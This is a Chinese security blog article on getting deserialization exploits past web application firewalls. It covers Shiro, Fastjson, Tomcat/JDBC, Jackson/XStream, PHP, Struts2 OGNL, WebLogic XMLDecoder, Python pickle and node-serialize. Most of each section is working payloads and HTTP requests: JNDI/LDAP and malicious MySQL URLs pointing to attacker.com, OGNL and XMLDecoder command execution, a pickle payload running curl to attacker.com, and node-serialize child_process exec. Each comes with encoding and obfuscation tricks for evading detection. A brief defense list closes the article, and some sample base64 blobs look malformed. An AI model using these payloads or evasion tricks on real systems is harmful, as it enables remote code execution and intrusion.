反序列化漏洞 WAF 绕过:思维与技术的双重博弈
作者:Factor
- 反序列化漏洞 WAF 绕过:思维与技术的双重博弈
- 前言:反序列化漏洞 × WAF 绕过
- 背景概述
- 漏洞原理简述
- 常见检测与拦截机制
- 绕过思路与实战方法
- 1. Apache Shiro 550 / 721 / 722 绕 WAF 实战
- 2. Fastjson <=1.2.68 反序列化绕过
- 3. Tomcat XStream、JNDI 注入等链(Spring+JDK)
- 4. Jackson / XStream 等 XML JSON Gadget 绕过
- 5. PHP 反序列化漏洞绕过技巧
- 6. Apache Struts2 反序列化链绕过(如 s2-045 / s2-057)
- 7. WebLogic T3 / IIOP / XMLDecoder 绕过
- 8. Python Pickle 反序列化绕过
- 9. Node.js node-serialize 漏洞绕过
- ✅反序列化绕 WAF 方法对照表
- **字段说明**
- 攻击流程图示意
- 防御建议
- 结语
前言:反序列化漏洞 × WAF 绕过
在当前的安全攻防实践中,针对反序列化漏洞的 WAF 检测机制仍存在诸多盲区与不完善之处。
为了更深入地理解其绕过方式,我查阅了大量公开研究、实战案例与工具源码,并系统性地梳理出了 9 类典型的反序列化漏洞 WAF 绕过技术策略。
本篇文章的目标不是提供“现成的万能 payload”,而是希望启发更多安全研究者去思考这样一个关键问题:
“在不被识别为恶意的前提下,如何让 payload 既具备混淆性,又能精准执行?”
WAF 绕过从来不只是编码和隐藏,更是一种关于解析、执行路径与安全策略认知的博弈。
希望本文的内容,能为你的实战思路带来一些启发。💡
背景概述
Java 反序列化漏洞广泛存在于各种企业级框架和组件中,如 WebLogic、Shiro、Spring、Fastjson、Jackson、XStream 等。虽然很多安全设备和WAF已内置通用防护策略,但在实际攻击场景中,攻击者常通过编码混淆、链式封装、自定义类加载器、序列化格式转换等手段实现绕过检测。
本篇将基于漏洞原理,详细解析如何实现 反序列化攻击的 WAF 绕过,以及对抗常规检测机制的实战策略与对抗方法。
漏洞原理简述
- Java序列化机制允许对象转化为二进制流进行存储与网络传输。
- 若服务器端反序列化用户可控数据,则攻击者可构造恶意对象链,利用类中的
readObject()
/readResolve()
方法执行任意代码。 - 此过程中无需上传恶意文件,仅依赖类加载与反射机制,隐蔽性强。
常见检测与拦截机制
安全设备或中间件常见检测点:
- 检测 payload 字节特征,如
ac ed 00 05
(Java 序列化魔数) - 拦截黑名单类名,如
org.apache.commons.collections.Transformer
- 检查常见反序列化 Gadget 链中的关键类(如
TemplatesImpl
) - 检查 URL 参数、Body 体中的 base64 编码、hex 编码数据体
绕过思路与实战方法
本节将列出常见 Java 反序列化漏洞在不同组件中的实战绕 WAF 技术点,包含 payload 构造技巧、参数插入位置、编码伪装方式等,帮助安全研究者理解与重现攻击链。
1. Apache Shiro 550 / 721 / 722 绕 WAF 实战
漏洞点:Shiro rememberMe 反序列化(Cookie)
特征:
- payload 被放在 Cookie 中,名为
rememberMe
- 魔数特征明显(
aced0005
) - 一般使用 AES-CBC 加密(默认 key 为
kPH+bIxk5D2deZiIxcaaaA==
)
常见 WAF 拦截点:
- 识别 Cookie 值长度、内容特征(如 base64 的头部)
- 检查是否存在 ysoserial 构造类
- 特定路径或请求中是否有 Cookie
绕过技巧:
- base64多次编码:payload → base64 → 再base64
- 构造“无害”Cookie名:改名为
sid
、auth
、token
- 改写加密参数:更换 AES IV,使加密块头部不同
- 使用非主流 gadget 链:如 Jdk7u21、Hibernate1(规避 Transformer)
- 分段 Cookie 绕过:用多段记忆方式构造多个 Cookie 片段拼接
绕过 WAF 的 Shiro payload 构造示例
命令生成(用 ysoserial + OpenSSL 加密 + base64):
bash复制编辑# Step 1: 使用 ysoserial 构造 payload
java -jar ysoserial.jar Jdk7u21 'ping attacker.com' > raw.ser
# Step 2: 使用默认 key 对 payload 加密(AES CBC + PKCS5Padding)
# 使用 openssl 加密
openssl enc -aes-128-cbc -K 6b50482b69426b35443264655a69497863616161413d3d -iv 00000000000000000000000000000000 -in raw.ser -out shiro.enc -nosalt -nopad
Step 3: base64 编码
base64 shiro.enc > payload.b64
构造 HTTP 请求(伪装 Cookie):
http复制编辑GET / HTTP/1.1
Host: vulnerable-target.com
Cookie: rememberMe= ; sid=U2FsdGVkX19...your_base64_payload_here...==
✅ 说明:
技术 | 作用 |
---|---|
冷门 gadget(Jdk7u21) | 避免被识别的链(如 CommonsCollections) |
AES 加密 + 默认 key | 保持解密兼容性 |
base64 × 2 | 绕过魔数特征 (aced0005 ) 检测 |
Cookie 名伪装 | 避免被识别为 rememberMe 专属攻击 |
Payload 分片(可选) | 对抗 Cookie 长度限制或中间件特征识别 |
2. Fastjson <=1.2.68 反序列化绕过
漏洞点:未正确限制 autoType,允许加载任意类。
特征:
- 请求体为 JSON,使用特定结构加载类(
@type
) - 关键字段:
@type
,value
,dataSource
,driverClassLoader
WAF 拦截点:
- 出现
@type
关键字 - 使用敏感类(如
com.sun.rowset.JdbcRowSetImpl
) - URL body 中存在反序列化路径
绕过技巧:
-
@type变形:改为
@type
、�@type
、@type
-
字段嵌套套娃:如:
{“v”:{“@type”:“java.lang.Class”,“val”:“com.sun.rowset.JdbcRowSetImpl”}} -
类路径绕过:利用 com.alibaba.fastjson.support.spring.FastJsonHttpMessageConverter 支持的替代类路径
-
构造 gadget 弱依赖链:如使用
TemplatesImpl
+ BCEL 字符串编码绕过
绕过 WAF 的 Fastjson Payload 构造示例
目标
通过构造 @type
类字段,触发 Fastjson 的 autoType 机制,实现远程类加载(LDAP 回连 RCE),并避开常见 WAF 特征。
Payload 内容(使用 \u 编码绕过检测):
json复制编辑{
"user": {
"\\u0040type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker.com:1389/Exploit",
"autoCommit": true
}
}
示例请求
http复制编辑POST /api/user/info HTTP/1.1
Host: vulnerable.com
Content-Type: application/json
{
"user": {
"\\u0040type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker.com:1389/Exploit",
"autoCommit": true
}
}
✅说明
技术 | 作用 |
---|---|
\u0040type 编码 | 绕过对 "@type" 字符串的直接检测 |
JdbcRowSetImpl Gadget | 利用类自带的 JNDI 加载特性,向 LDAP 发起远程请求 |
嵌套字段结构 | 使 payload 不在顶层出现,绕过结构性关键路径规则 |
使用 ldap:// 外链 | 与反序列化服务结合,达到远程命令执行 |
3. Tomcat XStream、JNDI 注入等链(Spring+JDK)
3.1 Tomcat Gadget 链(ELProcessor)
- 使用
javax.el.ELProcessor
执行 EL 表达式 - 常见于
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
绕过方式:
- 将恶意 EL 表达式放入字段中,如
name
、driverClassName
- 使用无害字段名伪装(避免检测
EL
、javax.el
) - 字符分片执行表达式(绕关键字)
绕过 WAF 的 Tomcat XStream / JNDI 反序列化 Payload 构造示例
构造原理(利用 Tomcat 数据源 + JNDI)
json复制编辑{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassName": "com.mysql.jdbc.Driver",
"url": "jdbc:mysql://attacker.com:3306/abc?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&statementInterceptors=CommonsCollections1&user=xxx&password=xxx"
}
注:当目标服务器加载这个 JDBC 连接时,将触发类加载器解析 CommonsCollections1
,从而激活本地或远程 Gadget 链。
绕过技巧:
绕过点 | 说明 |
---|---|
@type 编码 | 使用 \u0040type 避免关键字识别 |
字段嵌套伪装 | 将 payload 包在 config , meta , settings 等无害字段中 |
使用自定义类路径或替代类 | 如使用 br.com.anteros.dbcp.AnterosDBCPDataSource 绕过匹配 |
修改 JDBC 参数顺序与结构 | 绕过自动规则判断参数中是否出现 interceptors 、deserialize 等 |
示例请求(JSON / XML 结构均可)
JSON(适用于 Fastjson、Jackson):
json复制编辑{
"config": {
"\u0040type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassName": "com.mysql.jdbc.Driver",
"url": "jdbc:mysql://attacker.com:3306/test?autoDeserialize=true&statementInterceptors=CommonsCollections1"
}
}
XML(适用于 XStream):
xml复制编辑<org.apache.tomcat.dbcp.dbcp2.BasicDataSource>
<driverClassName>com.mysql.jdbc.Driver</driverClassName>
<url>jdbc:mysql://attacker.com:3306/test?autoDeserialize=true&statementInterceptors=CommonsCollections1</url>
</org.apache.tomcat.dbcp.dbcp2.BasicDataSource>
✅说明:
- 无需回显:只要访问
attacker.com:3306
就能确认触发了反序列化; - 无需上传类文件:只需 MySQL 插件支持
autoDeserialize=true
; - 可配合 Burp、Python 脚本、AWVS 插件自动注入测试;
- 可联动 DNSlog/JNDI Monitor 检测触发。
4. Jackson / XStream 等 XML JSON Gadget 绕过
-
WAF 常拦截的字段:
@type
,class
,object
,org.*
-
绕过方式:
- 使用缩写类名、别名注册机制
- 自定义反射类+getter封装绕过
- 分离类名与参数位置(构建 delay gadget)
5. 通用加解密编码伪装方法
- base64(多次编码)
- AES + IV 替换(Shiro)
- URL 编码嵌套(%25、双层编码)
- Gzip压缩后再编码
- 利用 Content-Type 替换:
image/jpeg
,application/octet-stream
- 将 payload 嵌入 JSON/XML/image 的某字段中
方法一:编码变形(常规绕过)
-
使用 base64、base32、base91、hex 等方式将 payload 编码
-
示例:
base64 < payload.ser > encoded.txt
-
将 payload 作为 HTTP 参数:
POST /vuln.jsp HTTP/1.1
payload=YWNlZDAwNQo......
方法二:使用不常见的 Gadget 链(逃逸黑名单)
- 替换
CommonsCollections1
为Hibernate1
、AspectJWeaver1
等 WAF 未识别的链 - 自定义 gadget 类(如内部类)绕过静态类名匹配
方法三:结构扰动 + 分段构造
- 将 payload 拆分发送(如 WebSocket、chunked)、或嵌套于 JSON/XML 内部字段
- 示例:
{
"user": {
"info": "base64\_gadget\_payload"
}
}
方法四:非 Java 格式伪装传输
-
将 Java 序列化流伪装成 AMF、protobuf、gzip、图片上传等格式
-
修改 Content-Type 如:
Content-Type: application/x-amf
方法五:动态类加载绕过关键字特征
- 利用远程类加载(JNDI + LDAP)、Groovy 脚本、SpringEL 动态执行等绕过传统黑名单
绕过 WAF 的 Jackson / XStream 反序列化 Payload 构造示例
适用场景:
- 使用 Jackson 或 XStream 自动反序列化 JSON/XML;
- 服务端启用了自动类型识别(
@class
、@type
); - 使用数据源组件(如
BasicDataSource
)或支持 XML Bean 解析; - WAF 对关键字段未严格过滤,或存在绕过方式(编码、嵌套等);
构造原理(利用 Jackson / XStream 加载类 + JDBC RCE)
json复制编辑{
"@class": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassName": "com.mysql.jdbc.Driver",
"url": "jdbc:mysql://attacker.com:3306/abc?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&statementInterceptors=CommonsCollections1&user=xxx&password=xxx"
}
☠️ 说明:当服务端反序列化此结构,并尝试初始化该数据源对象时,将触发加载 CommonsCollections1
,实现 Gadget 链远程调用。
WAF 绕过技巧:
绕过点 | 说明 |
---|---|
@class / @type 编码 | 使用 \u0040class / \u0040type 绕过明文规则匹配 |
字段嵌套伪装 | 将 payload 包裹在 config , meta , info , user 等字段内 |
使用替代类路径 | 替换为 br.com.anteros.dbcp.AnterosDBCPDataSource 等白名单类 |
参数顺序伪装 + 字段命名混淆 | 更换 URL 参数顺序、拼写,如 intercept0rs , deserializeX=true |
示例请求(JSON / XML 均可)
JSON 格式(适用于 Jackson / Fastjson):
json复制编辑{
"config": {
"\u0040type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassName": "com.mysql.jdbc.Driver",
"url": "jdbc:mysql://attacker.com:3306/test?autoDeserialize=true&statementInterceptors=CommonsCollections1"
}
}
XML 格式(适用于 XStream):
xml复制编辑<org.apache.tomcat.dbcp.dbcp2.BasicDataSource>
<driverClassName>com.mysql.jdbc.Driver</driverClassName>
<url>jdbc:mysql://attacker.com:3306/test?autoDeserialize=true&statementInterceptors=CommonsCollections1</url>
</org.apache.tomcat.dbcp.dbcp2.BasicDataSource>
✅ 说明:
- 无需回显:只要目标访问
attacker.com:3306
,就能通过 DNSlog/JNDIlog 监控触发; - 无需上传类文件:MySQL JDBC 驱动默认支持
autoDeserialize
; - 适配多平台:Jackson、Fastjson、XStream 全部可被触发;
- 可与 Burp、AWVS 插件、Python 脚本联动使用;
- 低特征值,适合旁路检测测试环境;
5. PHP 反序列化漏洞绕过技巧
漏洞点:反序列化用户可控数据,触发魔术方法(__wakeup
、__destruct
、__toString
等)
特征:
- PHP payload 一般形如:
O:4:"User":1:{s:4:"name";s:4:"hack";}
- 存在类定义中的“魔术函数”即为利用入口
- 主要出现在 CMS(如 ThinkPHP、WordPress 插件、Discuz)中
WAF 拦截点:
- 出现
O:
、a:
、s:
等 PHP 序列化结构特征 - 常拦截 payload 中类名如
GuzzleHttp
,Monolog
,Illuminate
绕过技巧:
- 类名大小写变形:
O:8:"monolog\Logger"
→O:8:"Monolog\logger"
- 构造“盲链”,即使用未被检测到的类组合构造 RCE
- 使用 base64 编码绕过:将整个 payload 加密后作为 cookie、header 或 POST 体传输
- 利用
phar://
反序列化:通过 file-related 函数触发(如exif_read_data
、file_get_contents
)
绕过 WAF 的 PHP 反序列化 Payload 构造示例
适用场景:
- 服务端使用
unserialize()
函数解析用户输入; - 存在可控的 Cookie、POST 参数、文件名、Header 等反序列化入口;
- 目标系统中包含魔术方法类,如
__wakeup()
、__destruct()
、__toString()
; - 常见于 ThinkPHP、WordPress 插件、Yii、Laravel 等框架;
构造原理(触发魔术方法链 + 命令执行)
php复制编辑O:8:"Exploit":1:{s:4:"path";s:13:"/tmp/evil.php";}
☠️ 说明:构造类名为 Exploit
,当反序列化时若该类中存在 __destruct()
并触发 include($this->path)
,将加载任意路径代码。
WAF 绕过技巧:
绕过点 | 说明 |
---|---|
特征结构绕过 | O: , s: , a: 是 PHP 序列化结构,常被 WAF 拦截。可通过编码绕过。 |
编码伪装 | 对 payload base64 编码后传入 header/cookie 中,如:Base64(O:...) |
类名大小写变换 | Exploit → exploit → ExPlOiT (PHP 类名大小写不敏感) |
数据结构混淆 | 在数组、JSON 中嵌入:a:1:{i:0;O:8:"Exploit":1:{...}} |
利用 Phar 格式 | 构造 phar:// 协议触发反序列化,如 exif_read_data() 、file_get_contents() |
示例请求(可用于 Cookie / POST)
Cookie Header 示例(经过 base64 编码):
http复制编辑
GET / HTTP/1.1
Host: vuln.com
Cookie: auth= Tzo4OiJFeHBsb2l0IjoxOntzOjQ6InBhdGgiO3M6MTM6Ii90bXAvZXZpbC5waHAiO30=
注:上面内容为
O:8:"Exploit":1:{s:4:"path";s:13:"/tmp/evil.php";}
的 base64 编码。
POST Body 示例(结构混淆):
php复制编辑
username=a:1:{i:0;O:8:"Exploit":1:{s:4:"path";s:13:"/tmp/evil.php";}}
✅ 说明:
- 可触发
__destruct()
、__wakeup()
等执行点; - 可以将 payload 写入 cookie、user-agent、Referer 等字段伪装;
- 可结合 Phar 协议制作上传文件触发链;
- 若目标启用 debug 模式,错误提示信息可辅助 payload 构造;
6. Apache Struts2 反序列化链绕过(如 s2-045 / s2-057)
特征:
- S2-045:基于 OGNL 表达式执行
- S2-057:基于 REST 插件反序列化远程类加载
- 常见入口参数:
Content-Type
,action:
header,url?method:
WAF 检测点:
- URL 参数包含
%{...}
(OGNL) - headers 带有
Content-Type: %{...}
- 检测是否调用
java.lang.Runtime
或ProcessBuilder
绕过技巧:
- 将 OGNL 表达式分片(如
#conca
+t(...)
) - 多重 URL 编码(如
%25{...}
) - 语义混淆表达式(用
T(java.lang.Runtime)
替代Runtime.getRuntime()
)
绕过 WAF 的 Apache Struts2 Payload 构造示例(如 S2-045 / S2-057)
适用场景:
- 目标使用 Struts2 且存在 OGNL 表达式执行漏洞(如 Content-Type header 被 OGNL 解析);
- Struts 插件未禁用动态方法调用或默认配置宽松;
- 通常配合
Content-Type
、URL 参数或自定义 header 注入 payload;
构造原理(OGNL 表达式注入 + Runtime 执行命令)
http复制编辑
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Bypass','ok')}
☠️ 说明:该表达式可直接注入到 Content-Type 或其他可被 OGNL 解析的位置,实现添加 header、执行命令等操作。
WAF 绕过技巧:
绕过点 | 说明 |
---|---|
表达式片段分裂 | 将 Runtime.getRuntime() 拆分,如:Runti +me.getRuntime() |
多层 URL 编码 | 将 %{ 编码为 %25%7B ,避免关键符号被拦截 |
T() 函数写法替代 | 使用 T(java.lang.Runtime) 替代 Runtime.getRuntime() |
请求头字段伪装 | 注入在非 Content-Type 头部(如 X-Forwarded-Host )中绕开规则 |
POST body 引入 payload | 将 OGNL 表达式混入 JSON/XML 内容字段 |
示例请求(多种方式)
方式一:Content-Type 注入(经典)
http复制编辑
POST /index.action HTTP/1.1
Host: target.com
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess=#dm).(#res=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).(#res.addHeader('X-Vuln','YES'))}
方式二:多重编码绕过示例
http复制编辑
POST /index.action HTTP/1.1
Host: target.com
Content-Type: %25%7B(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-WAF','bypass'))%7D
方式三:Header 字段伪装绕过
http复制编辑
X-Api-Version: %{T(java.lang.Runtime).getRuntime().exec('ping attacker.com')}
✅ 实战说明:
- 适用于 Struts2 老版本(尤其 S2-045、S2-057);
- 若服务开启 debug,错误提示可泄露表达式解析详情;
- 表达式结构可高度自定义,适配不同业务接口;
- 常与 multipart/form-data、JSON body、headers 联合测试;
7. WebLogic T3 / IIOP / XMLDecoder 绕过
特征:
- 使用 T3 协议反序列化 Gadget 链(T3 默认 7001 端口)
- 或通过 XMLDecoder 接口提交可执行 XML 对象
检测点:
- TCP 层 T3 handshake 特征
- XML Payload 中存在
<void><string>calc</string></void>
- 常见 Gadget 链:
Jdk7u21
,Coherence
,CommonsBeanutils
绕过技巧:
- 使用自定义协议封装 T3 Payload
- 使用异构 gadget,避免使用被特征库识别的链(如
Javassist
,Rome
) - 在 XMLDecoder 中使用封装对象/字段名混淆
绕过 WAF 的 WebLogic T3 / IIOP / XMLDecoder Payload 构造示例
适用场景:
- 目标部署 WebLogic,开放默认 T3/IIOP 端口(7001、7002、9001);
- 存在未打补丁的反序列化入口(如远程 JNDI、T3 服务、XMLDecoder);
- 应用组件使用
XMLDecoder.readObject()
或开放了服务远程接口注册;
构造原理(远程类加载 + 本地命令执行)
方式一:XMLDecoder 执行链(适用于 XML 接口)
xml复制编辑
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
☠️ 说明:此 XML 会被 XMLDecoder 解析为 ProcessBuilder("calc")
,最终执行 start()
启动命令。
方式二:T3 协议反序列化(使用 ysoserial + JRMP)
bash复制编辑
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc"
在目标发起 T3 请求或远程对象 lookup 时触发 Gadget 链。
WAF 绕过技巧:
绕过点 | 说明 |
---|---|
XML entity 替换 | 用 < , > 替代 < , > 绕过规则 |
T3 协议封装 | 使用 HTTP/TLS 隧道代理传输 T3 数据流 |
类名路径伪装 | 使用 Javassist , Rome , Spring 等冷门链条规避特征 |
base64 编码整个 XML 上传 | 绕过 XML 结构解析/防护机制(如 API 接口上传) |
拆分 Gadget 字节流 | 对反序列化对象进行加密或插入无害数据混淆魔数 aced0005 |
示例请求(适用于接口 XMLDecoder)
http复制编辑
POST /xmldecode HTTP/1.1
Host: target.com
Content-Type: text/xml
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0"><string>calc</string></void>
</array>
<void method="start"/>
</object>
</java>
✅说明:
- T3 默认端口为
7001
,部分场景也监听9001
、iiop://
; - XMLDecoder 常用于开发人员调试接口、WebService、TomEE;
- 搭配
JRMPListener
可进行远程类加载 + 回显检测; - 可借助 socks5 + proxychains 实现代理转发 T3 到内网;
- 可联合使用 Burp 插件发送 base64 XML、构造 API 请求体等进行 fuzz;
8. Python Pickle 反序列化绕过
漏洞点:服务端不安全地调用 pickle.loads()
解析来自用户的对象数据。
特征:
- payload 为 Python 序列化格式(以
€
开头) - 类中实现
__reduce__()
或__reduce_ex__()
即可实现任意命令执行
WAF 检测点:
- 检查
pickle.loads()
的调用点,或扫描上传接口是否包含恶意序列化流 - 常见拦截类:
os.system
,subprocess.Popen
绕过技巧:
- 使用 base64 + gzip 压缩传输
- 使用 base64 隐写(插入非标准字符)+ 多层编码
- 使用反射模块构造对象链:如
getattr(__import__('os'), 'system')('id')
绕过 WAF 的 Python Pickle 反序列化 Payload 构造示例
适用场景:
- 服务端使用
pickle.loads()
直接反序列化用户提交的数据; - 常见于 Flask、Django、Celery、机器学习平台等使用 Python 的 Web/服务端应用;
- 存在上传对象模型、配置恢复、API 模型预测、会话反序列化等场景;
构造原理(利用 __reduce__()
方法实现命令执行)
python复制编辑
import pickle, base64
class RCE:
def __reduce__(self):
import os
return (os.system, ('curl http://attacker.com',))
payload = pickle.dumps(RCE())
print(base64.b64encode(payload))
☠️ 说明:__reduce__()
会在 pickle.loads()
还原时被调用,执行 os.system()
触发任意命令,支持回连、写文件等操作。
WAF 绕过技巧:
绕过点 | 说明 |
---|---|
Payload base64 编码 | 直接避免二进制魔数 \x80\x03 被检测 |
伪装上传格式 | 伪装成图片、Excel、模型文件 .pkl 、.dat |
Gzip + base64 双封装 | 加强内容混淆,绕过浅层过滤器 |
反射构造 getattr(__import__('os'),'system') | 绕过关键词检测,如 os.system |
参数混淆 + 分片拼接 | 将 payload 拆分上传到不同参数字段再重组(如 json + header) |
示例伪装数据(写入请求体 / 文件上传)
示例 base64 编码 payload:
bash复制编辑gASVCgAAAAAAAACMCG9zLnN5c3RlbZSMBXBpbmeUk5SMBnN5c3RltIwCZXhlY3OUjBJjdXJsIGh0dHA6Ly9hdHRhY2tlci5jb23lLg==
POST 示例请求(base64 + gzip):
http复制编辑POST
/upload HTTP/1.1
Host: vulnerable.com
Content-Type: application/octet-stream
H4sIAAAAAAAAAGNgYGBgBGJkYmBgAQAaFSFgAwAAAA==
✅说明:
- Python 序列化魔数为
\x80\x03
,常被特征检测器拦截; - 可配合
.pkl
/.joblib
/.h5
上传点进行隐匿攻击; - 服务端若加载
pickle.loads(base64.b64decode(data))
会直接触发; - WAF 若未拦截 POST 中二进制流,可稳定执行;
- 结合 Redis/Celery 可做队列执行攻击(任务伪装注入);
9. Node.js node-serialize 漏洞绕过
漏洞点:使用 node-serialize
时,服务端调用 unserialize()
对用户数据还原,对象中可嵌入 JS 代码
特征:
- payload 中含
"_$$ND_FUNC$$_function() { require('child_process').exec('calc') }"
- 直接构造可执行 JS 函数体,利用反射执行
WAF 检测点:
- 出现
_$$ND_FUNC$$_
,require
,child_process
,eval
,Function
等关键字
绕过技巧:
- ✂️ 函数名拆分或编码绕过:如
_$$ND_FUNC$$_fun
+ction(){}
- 🔒 编码函数片段为
hex
,unicode
,btoa()
再拼接执行 - 🕵️♂️ 配合 gzip + base64 + cookie 传输,绕过常规 POST 检查
绕过 WAF 的 Node.js node-serialize Payload 构造示例
适用场景:
- 目标使用
node-serialize
包处理对象序列化反序列化; - 服务端调用
serialize()
/unserialize()
处理用户数据; - 常见于 Cookie、用户配置存储、缓存系统、session 存储机制;
- 可被构造为执行任意 JavaScript 函数体;
构造原理(构造 _'$'$'ND_FUNC'$ '$_function()
执行 JS 函数)
json复制编辑
{
"rce": "_$$ND_FUNC$$_function(){ require('child_process').exec('curl http://attacker.com') }"
}
☠️ 说明:node-serialize
会识别 _$$ND_FUNC$$_
标识并将后续内容作为 JavaScript 函数执行,从而触发任意命令调用。
WAF 绕过技巧:
绕过点 | 说明 |
---|---|
_$$ND_FUNC$$_ 编码 | 替换为 _$$ND\\u005fFUNC$$_ ,避开关键字识别 |
函数体字符拼接 | 将 require , exec 拆成 're'+'quire' , 'ex'+'ec' |
JSON 混淆嵌套结构 | 将 payload 藏于嵌套结构,如 meta.settings.handler |
gzip + base64 编码上传 | 混淆后整体编码绕过报文检查与长度特征检测 |
使用 Cookie / header 隐写方式 | 可注入 Cookie,如 auth=... ;或 X-Info: 等自定义头 |
示例请求构造(适用于 Express + node-serialize)
示例 JSON payload(基础型):
json复制编辑
{
"rce": "_$$ND_FUNC$$_function(){ require('child_process').exec('id') }"
}
示例混淆 payload:
json复制编辑{
"user": {
"profile": {
"custom": "_$$ND_FUNC$$_function(){['ch'+'ild_process']['ex'+'ec']('curl http://x.y')}"
}
}
}
示例 Cookie 注入(base64):
http复制编辑
GET / HTTP/1.1
Host: vulnerable.site
Cookie: session=eyJyY2UiOiJfJCRORF9GVU5DJF9fZnVuY3Rpb24oKXt...==" # base64 后 payload
✅ 说明:
- 可用于命令执行、文件读写、反弹 shell;
- node-serialize 特征明显,WAF 规则常拦截
_$$ND_FUNC$$_
,需重点混淆; - 可用 gzip + base64 双重混淆,上传为
application/octet-stream
; - 可注入 JSON、Cookie、X-* header 中绕过参数名规则;
- 若配合 SSRF / URL include,可联动远程代码注入;
✅反序列化绕 WAF 方法对照表
组件类型 | 利用特性/入口 | WAF 检测点 | 绕过方式示例 | 绕过难度 | 绕过率(成功率) |
---|---|---|---|---|---|
Java (Shiro) | rememberMe Cookie + AES加密 | aced0005 、Cookie字段 | 多层 base64、改名、盲链 Gadget、分段构造 | 高 | 中~高 |
Fastjson | @type 加载任意类 + getter | @type 关键字、类路径、URL 中 JSON | @type 绕过、类路径构造、嵌套混淆 | 中 | 中 |
PHP | 魔术方法+反序列化输入 | O: , s: ,敏感类 | 类名大小写绕过、phar协议、base64包装 | 低~中 | 高 |
Struts2 (OGNL) | Content-Type header注入表达式 | %{} , java.lang.* | 表达式分片、URL 编码、T() 语法绕过 | 中 | 中~高 |
WebLogic | T3协议、XMLDecoder、JNDI注入 | T3头特征、XML特征、类黑名单 | 非典型 Gadget、自定义协议、字段扰动 | 高 | 中 |
Python Pickle | __reduce__ 任意调用 | pickle.loads() 、黑名单类 | base64+gzip、payload嵌套构造 | 中 | 高 |
Node.js serialize | _$$ND_FUNC$$_function(){} | 关键词匹配:require 、eval 等 | 函数字符混淆、gzip + cookie 传输、unicode拆分 | 中 | 中~高 |
字段说明
-
绕过难度:
- 低:简单编码或标准化变形(如大小写绕过)。
- 中:需组合技术或环境条件(如混淆+协议利用)。
- 高:依赖未公开漏洞或复杂链构造(如盲链 Gadget)。
-
绕过率(成功率):
- 低:需精准环境且 WAF 防御完善(如 WebLogic 自定义协议)。
- 中:对部分配置松散的 WAF 有效(如 Fastjson 类路径混淆)。
- 高:利用 WAF 解析逻辑缺陷(如 PHP phar协议)。
攻击流程图示意
┌────────────────┐
│攻击者构造payload│
└────┬───────────┘
↓ 编码 / 分段 / 嵌套
┌────┴─────────────────┐
│通过HTTP或接口发送到服务端│
└────┬─────────────────┘
↓
┌────┴────────────────┐
│服务端反序列化触发对象链 │
└────┬────────────────┘
↓
┌────┴───────────────┐
│执行命令或远程加载恶意类│
└────────────────────┘
防御建议
-
禁止对未验证用户输入做 ObjectInputStream.readObject()
-
启用安全类白名单机制:
System.setProperty(“jdk.serialFilter”, “!org.apache.commons.,java.util.,java.lang.”)
-
统一采用 JSON / protobuf 等替代 Java 原生序列化
-
使用第三方安全组件(如 Apache Shiro 反序列化补丁、安全代理)
-
启用 RASP / Agent 层防御,监控反序列化关键 API 调用
结语
反序列化漏洞广泛存在于各类语言和框架中,是实际攻防中最常见也最隐蔽的高危安全问题之一。虽然各类 WAF 和安全中间件提供了基础检测能力,但攻击者通过编码混淆、协议变形、链条分段、payload 深度封装等方式,往往能够绕过这些防护。
本篇文章从 Java、PHP、Python、Node.js 等多个维度系统性总结了反序列化的利用特征、检测点、绕过手法以及构造技巧,并对主流框架如 Shiro、Fastjson、Struts2、WebLogic、XStream 等进行了实战解析,结合对照表归纳思维,方便在实战测试或规则构建中参考使用。
在攻防实践中,我们需要的不只是“知道存在漏洞”,更要理解“漏洞在真实场景中是如何被隐藏和触发的”,从而在攻中练防,在防中溯源。
安全的本质不是完全杜绝风险,而是让攻击变得足够困难,代价足够高。
愿此文能为你的漏洞研究、攻防演练、红蓝实训提供一点点“技术武装”。如需进一步扩展某一类框架的专项技巧,欢迎继续探讨 💬